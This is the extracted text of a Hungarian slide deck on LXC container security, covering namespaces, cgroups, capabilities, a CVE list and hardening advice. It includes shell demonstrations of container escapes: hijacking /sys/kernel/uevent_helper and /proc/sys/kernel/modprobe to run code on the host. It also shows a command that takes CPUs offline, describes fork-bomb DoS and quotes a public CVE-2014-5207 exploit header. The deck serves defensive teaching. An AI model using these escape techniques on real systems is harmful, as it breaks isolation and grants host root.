Chroot/pivot_root … az elsők. MOUNT_NS Fájlrendszer (VFS) csatolásokra vonatkozó ns UTS_NS A hostnév névtérét fele. (a konténerünknek eltérhet a neve a hosttól) IPC_NS SHM, semaphores, message queues szerparációját valósítja meg USER_NS UID/GID-ek virtuális megfeleletetésér felel, a konténeren belül lehetnek saját uid-ek és gid-ek ( - ebben volt egy nagyon csúnya bug, !0 → 0) PID_NS a konténeren belül saját PID névtér van, hiheti magáról bármely processz hogy ő az 1-es PID (init), külső névtér nem címezhető pid alapján PID_NS != /proc ns (ilyen nincs is ...) NET_NS Teljes hálózati stack ...
Cgroups-okból – erőforrások korlátozása
cpuset, cpu, cpuacct, freezer, memory, blkio és devices erőforrás csoportok
Egyéb: Capabilitik
1331 /
Zámbó Marcell
Az Andrews Kft.
Chroot
Rendszerhívás ill. a rá épülő segéd alkalmazás (csak) fájlrendszer szintű szeparációt valósít meg a hívó process és leszármazottai számára Ha nem megfelelően hívjuk akkor még fs szinten sem biztonságos Karbantarthatóság?
Izolált NS-ek, nincs kapcsolat Bővebben: http://doger.io
Többféle családfa lehetséges.
1531 /
Zámbó Marcell
Az Andrews Kft.
Capability-k
A monolitikus root jog szétvált „capability”-kre Ezek eldobhatóvá váltak, csak azt tartjuk meg ami valóban kell a programunk számára Nem 0 uid is birtokolhatja Parancsok: capsh, man 7 capabilities
Fontosabb capability-k:
cap_audit_(write|control)
cap_(mac|net|sys)_admin
cap_kill
cap_linux_immutable
cap_set_*
cap_sys_(chroot|module)
3.6.9-es kernelben 37 van 1631 /
Zámbó Marcell
Az Andrews Kft.
C(ontrol)groups
Erőforrás limitáció
Szabályozható erőforrások:
Processz priorizálás
CPU
Accounting: az egyes erőforrások használatának mérésére
Memória
Block device-ok elérési sebessége
Freezer alrendszer*
Kontroll: az egyes cgroupok leállítása, és újraindítása Parancsok: man cgcreate
Hálózati sávszélessére nem nyújt megoldást, arra marad a tc 1731 /
Zámbó Marcell
Az Andrews Kft.
Hiányosságok és gyengeségek
1831 /
Zámbó Marcell
Az Andrews Kft.
Hiányosságok, gyengeségek ...
A leggyengébb láncszem a közös kernel (nem Linux spec.)
A virtualizált processzek közvetlenül a host kernellel állnak kapcsolatban
Egy kernel bugra épülő exploit visz mindent
Hypervisor alapú sebezhetőségénél, ez többnyire csak az adott guest-et viszi
/proc – mínusz PID_NS, /sys
Pl: /proc/sys/vm/drop_cache, /proc/sysrq-trigger és társai
echo 0 | tee /sys/devices/system/cpu/cpu*/online – ue memory-val
[409388.207773] kvm: disabling virtualization on CPU1 [409388.207790] smpboot: CPU 1 is now offline
1931 /
Zámbó Marcell
Az Andrews Kft.
Hiányosságok, gyengeségek ...
Ulimitek
Mivel a konténerekben futó processzek a host kernel számára is valódi processzek, így az egyes processzekre vonatkozó limitek ugyanúgy érvényesek a konténerekben futó processzekre.
Fork bombázás
A cgroups erőforrás korlátozó beállításai ellenére is kellemetlenek lehetnek a fork bombák:
A limitált CPU-t kihajtja („Na és?!”) A limitált MEMoriát megeszi, swappelteti a rendszert Nyitott FD-ket szépen megeszi (másnak nem marad...) → DoS!
Max user processes, open files
2031 /
Zámbó Marcell
Az Andrews Kft.
Hiányosságok, gyengeségek ...
Audit alrendszer (3.7-es kernel óta OK, de előtte …)
Ha root vagy a konténerben root leszel kint is ... root@lxc# cat /tmp/evil_helper #!/bin/bash set
>> /tmp/alma1
date >> /tmp/alma1 root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/evil_helper > /sys/kernel/uevent_helper root@lxc# cat /sys/kernel/uevent_helper /var/lib/lxc/lxc/rootfs/tmp/evil_helper root@lxc# echo change > /sys/class/mem/null/uevent hatására lefut a /var/lib/lxc/lxc/rootfs/tmp/evil_helper 2331 /
Zámbó Marcell
Az Andrews Kft.
„kitörés” a procfs-en keresztül
root@lxc# cat /tmp/x #!/bin/bash mkdir /tmp/12345alma root@lxc# cat /proc/sys/kernel/modprobe /sbin/modprobe root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/x > /proc/sys/kernel/modprobe root@telekom-vpn:/proc# iptables -t raw -nL iptables v1.4.21: can't initialize iptables table `raw': Table does not exist (do you need to insmod?) root@host:ls -dl /tmp/12345alma/ drw-rw---- 2 root root 40 máj
19 09:41 /tmp/12345alma/
2431 /
Zámbó Marcell
Az Andrews Kft.
Ismert biztonsági hibák az implementációban [7.1] CVE-2010-0006: 2.6.32.4 olyan hibát tartalmazott mely csak a network namespace használata esetén volt támadható [???] git:41c21e351e: talán nem exploitálható user_namespace bug ... [7.8] CVE-2011-2189: 2.6.35 DoS network namespace-en keresztül [7.2] CVE-2013-1858: 3.8.3 biztosan exploitálható user_namespace bug … [Lásd következő slide-on] [2.1] CVE-2013-1956: 3.8.6 át lehetett chrootolni más (akár több joggal rendelkező) namespaceekbe [4.7] CVE-2013-4205: 3.10.6 user_namespace memória szivágós DoS [6.2] CVE-2014-4014: 3.14.8 állományrendszer capabilitik segítségével ki lehetett törni a konténerekből [7.2] CVE-2014-5206: 3.16.1 nem védett a MNT_LOCK_READONLY mount flag módosítása ellen, újra lehetett mountolni RW módban [6.0] CVE-2014-5207: 3.16.1 a fentiek mintájára a MNT_NODEV, MNT_NOSUID, és MNT_NOEXEC valamint MNT_ATIME_MASK opciók kijátszhatóak voltak egy kis bind mountolgatás segítségével* [4.6] CVE-2014-8989: 3.17.4 lehetővé tette a csoporttagságok módosítását ezáltal a kizáró csoport alapú ACL-ek kijátszhatóak voltak 2531 /
Zámbó Marcell
Az Andrews Kft.
Egy két érdekesség a hibákról CVE-2013-1858 működése
CVE-2014-5207 publikus exploitja /* FUSE-based exploit for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski Based on code that is: Copyright (C) 2001-2007
This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test ./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well. */
2631 /
Zámbó Marcell
Az Andrews Kft.
Védelmi lehetőségekről
2731 /
Zámbó Marcell
Védelmi lehetőségek, teendők 1.
Az Andrews Kft.
Az alaprendszer megerősítése
Pax/Grsec, Apparmor, SELinux
Szedjük szét több gépre a konténereinket, biztonsági besorolásuk szerint (akár a valódi hostok hálózati szeparációja esetében)
lxc.cgroup.devices.deny = a # mindent tilos, lxc.cgroup.devices.allow = … # kivéve amit szabad elv alkalmazása
Minimalizálni kell a konténerben rootként futó alkalmazások 2831 / számát és – ha lehet – jogait.
Zámbó Marcell
Az Andrews Kft.
Védelmi lehetőségek, teendők 2.
Seccomp alkalmazása
Az LXC configban van rá lehetőség és példa konfig is
A /proc és /sys mountolásának felülvizsgálata (részleges mount, RO mount) Auditd hangolása a konténerek felügyeletére Securebits (SECURE_NOROOT, SET_DUMPABLE) és társainak használata, man prctl :) Cgroups-ok mellett érdemes figyelni az rlimit-ek értékeire